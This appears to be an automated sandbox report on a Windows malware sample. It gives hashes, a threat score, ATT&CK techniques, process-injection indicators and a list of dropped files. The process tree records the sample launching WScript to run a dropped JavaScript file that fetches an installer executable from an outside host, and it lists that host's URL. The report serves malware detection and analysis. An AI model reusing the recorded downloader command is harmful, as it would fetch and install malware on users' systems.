c55a314349740617d1e831d1d8cc1ae72ab36b1c5e16a757bbaaabe4393c5939

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
11/05/2024, 16:25

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

357dca8021813241d47b5c11abb02119_JaffaCakes118.exe
Size

184KB
MD5

357dca8021813241d47b5c11abb02119
SHA1

49f565e25fea8583fc637c9e1e5dff63a3daed5b
SHA256

c55a314349740617d1e831d1d8cc1ae72ab36b1c5e16a757bbaaabe4393c5939
SHA512

6f0aed820baae316eead84f7e7e58d38dc9c7c235f94697442559c9177d7ee58937f15c4cc10d7a200b05a68ff9fdd1212573e3ef8f305f00168343457978661
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3V:/7BSH8zUB+nGESaaRvoB7FJNndn0

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

flow	pid	Process
6	1860	WScript.exe
8	1860	WScript.exe
10	1860	WScript.exe
12	2664	WScript.exe
13	2664	WScript.exe
15	2868	WScript.exe
16	2868	WScript.exe
18	1640	WScript.exe
19	1640	WScript.exe
21	2072	WScript.exe
22	2072	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2392 wrote to memory of 1860	2392	357dca8021813241d47b5c11abb02119_JaffaCakes118.exe	28
PID 2392 wrote to memory of 1860	2392	357dca8021813241d47b5c11abb02119_JaffaCakes118.exe	28
PID 2392 wrote to memory of 1860	2392	357dca8021813241d47b5c11abb02119_JaffaCakes118.exe	28
PID 2392 wrote to memory of 1860	2392	357dca8021813241d47b5c11abb02119_JaffaCakes118.exe	28
PID 2392 wrote to memory of 2664	2392	357dca8021813241d47b5c11abb02119_JaffaCakes118.exe	30
PID 2392 wrote to memory of 2664	2392	357dca8021813241d47b5c11abb02119_JaffaCakes118.exe	30
PID 2392 wrote to memory of 2664	2392	357dca8021813241d47b5c11abb02119_JaffaCakes118.exe	30
PID 2392 wrote to memory of 2664	2392	357dca8021813241d47b5c11abb02119_JaffaCakes118.exe	30
PID 2392 wrote to memory of 2868	2392	357dca8021813241d47b5c11abb02119_JaffaCakes118.exe	32
PID 2392 wrote to memory of 2868	2392	357dca8021813241d47b5c11abb02119_JaffaCakes118.exe	32
PID 2392 wrote to memory of 2868	2392	357dca8021813241d47b5c11abb02119_JaffaCakes118.exe	32
PID 2392 wrote to memory of 2868	2392	357dca8021813241d47b5c11abb02119_JaffaCakes118.exe	32
PID 2392 wrote to memory of 1640	2392	357dca8021813241d47b5c11abb02119_JaffaCakes118.exe	34
PID 2392 wrote to memory of 1640	2392	357dca8021813241d47b5c11abb02119_JaffaCakes118.exe	34
PID 2392 wrote to memory of 1640	2392	357dca8021813241d47b5c11abb02119_JaffaCakes118.exe	34
PID 2392 wrote to memory of 1640	2392	357dca8021813241d47b5c11abb02119_JaffaCakes118.exe	34
PID 2392 wrote to memory of 2072	2392	357dca8021813241d47b5c11abb02119_JaffaCakes118.exe	36
PID 2392 wrote to memory of 2072	2392	357dca8021813241d47b5c11abb02119_JaffaCakes118.exe	36
PID 2392 wrote to memory of 2072	2392	357dca8021813241d47b5c11abb02119_JaffaCakes118.exe	36
PID 2392 wrote to memory of 2072	2392	357dca8021813241d47b5c11abb02119_JaffaCakes118.exe	36

C:\Users\Admin\AppData\Local\Temp\357dca8021813241d47b5c11abb02119_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\357dca8021813241d47b5c11abb02119_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2392
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf193B.js" http://www.djapp.info/?domain=BGnOivIPGJ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf193B.exe
  2⤵
  - Blocklisted process makes network request
  PID:1860
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf193B.js" http://www.djapp.info/?domain=BGnOivIPGJ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf193B.exe
  2⤵
  - Blocklisted process makes network request
  PID:2664
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf193B.js" http://www.djapp.info/?domain=BGnOivIPGJ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf193B.exe
  2⤵
  - Blocklisted process makes network request
  PID:2868
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf193B.js" http://www.djapp.info/?domain=BGnOivIPGJ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf193B.exe
  2⤵
  - Blocklisted process makes network request
  PID:1640
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf193B.js" http://www.djapp.info/?domain=BGnOivIPGJ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf193B.exe
  2⤵
  - Blocklisted process makes network request
  PID:2072

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
57b1b5453fd21a15ec32fee93515efbe

SHA1
71b7fea3000a04bee4b875834101cc64ddccc72b

SHA256
c4f6569e2a98b4523a8a772c1d55461e9e3415712bb423e9d8ba1b70ac509aa2

SHA512
4eee10ed4dc800964073ac65d2569e1713a0d0539ac275ff511c06bdcca63f2b2c8cf59961bdf63406277931360f39657526d56e453f5b097b897882e2a2e8cc

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
358e401aefe62e4d43b356c747b6514f

SHA1
e0e01f7588ca57ca57accbd5b8170a4c47b4c677

SHA256
a9fd215410b8dba3e2dc16af60c5111084889b284d86091d72b502c1773d7c64

SHA512
b7b129ff85dd4bb09c5038fc6d60c780d21f2ec23b9e78679bb085e826c618f69e870b411451551ef6377192edb914dee6e070f8605126ebcb5ab66164b747bc

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
2bc5fbb6d39cef2799253c48e10dc449

SHA1
a084eeead45fd2e56e8a34916812a0c59d596c12

SHA256
3a60bdb99b8208ce1969e00946c156769b2bf38761d0b6e5955461fd5d0b208d

SHA512
918041c7bbf4aa8d4b6a01f45c51b508ec65faae25ab579b269c930f4712ef4f2c8346b0e7192846585599479f4a98abbcc18e4d0fe00bb03500f89bea302477

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
392B

MD5
41317adc83628202909940492b42b969

SHA1
103927b18d5d0972df50c53d0b085d66820e684f

SHA256
a52001218d115d1af6e29b4f37ce98483594ca66dfb71fec152dac195a02ef83

SHA512
2b16a4381c300426f19fefba84bbb6d30faa8ababec8809ccf295692d04b44a848aab479ed8fdf63ac68475afd41db18bdf69e32ab7461513478fd04dd8ea1c2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\528EVS6A\domain_profile[1].htm

Filesize
40KB

MD5
d90a9603182317a769363f1f314c1423

SHA1
d3ccd9759a87b720b3b46bd915318ac968d4ef96

SHA256
75d3e27185f112bfde81e456bfcf30fa67562260de5931c8210bb8f275f5d10d

SHA512
1796a75a29e249929239866204987a737e783ed3531d942a6202e5e1e9a7e472d0e4303fd3c102b2f714ce4fcfc18ec5920707006109eb59d95271f08a995567

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\528EVS6A\domain_profile[1].htm

Filesize
6KB

MD5
20330221a6282644d7e82c1d3f20d6bb

SHA1
58f012d4b24ae4fefe2b783af190a28560a4885e

SHA256
1a14642def502f8f54feed56cfe6a03b69276c714eef02c14c40128eae8c697e

SHA512
77f4121fcc04c84f2fc4b74035a1acf07daab2606aae72d3ef1254df1cb1ebfbb42d4c68a95ba6b8092aa4d1f485c4ddfa378339ce5360fa50c33eab538c7166

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\PH7CXNA3\domain_profile[1].htm

Filesize
40KB

MD5
fe568cc4c9cfe8bf2106aec1f77102f5

SHA1
d1b2205a0eba3ad7d6948acef76ba4df3c08c19a

SHA256
ddf7374b56d06cc165a7cf2ea2214bda838ebb3fabece7791c4051570efd915a

SHA512
4c168b7df8dff76d647a51d2018bbc2a796275261ac1dbdac9d907a2c7d1c28cf899602bda3ca8e22cf10995e2303e86e5cd026673fc4bca98d83c6f266dd261

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\PH7CXNA3\domain_profile[1].htm

Filesize
6KB

MD5
0feb95199e197bf985eaecef53013b73

SHA1
9d346543ad0287d8826d1dd5114260bf1bb5662c

SHA256
cd7e86d643e20c0b5a9d3ca18e62641802bc0a421a8e6d3db979e2f7abaf4fc9

SHA512
04127557f59cfb11056701dcdeecfab27eb222a421f67c3b60536510288bd26ed49c0ecfc368770104064516e28e2875b323acebb37c9f42e9ddc9820de9a483

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab60E5.tmp

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar7927.tmp

Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Admin\AppData\Local\Temp\fuf193B.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\5WE45BWG.txt

Filesize
177B

MD5
614e6da289dca3d7a86c9302637febc5

SHA1
27ec85a993a02bd9b996e7625eaf1644b39c73e3

SHA256
49e385bbd66f72bf54e7c876f11ddda38382028eb3cd0694bc075b18e32f9d05

SHA512
03663e2e2790a6903576410a863ccec037411d75741ffc8f49174d421edbf6e6c921f4ee5c5f851eecbc9eda314190a91112d258458d99dfd0ce946c01df2cac

Download Submit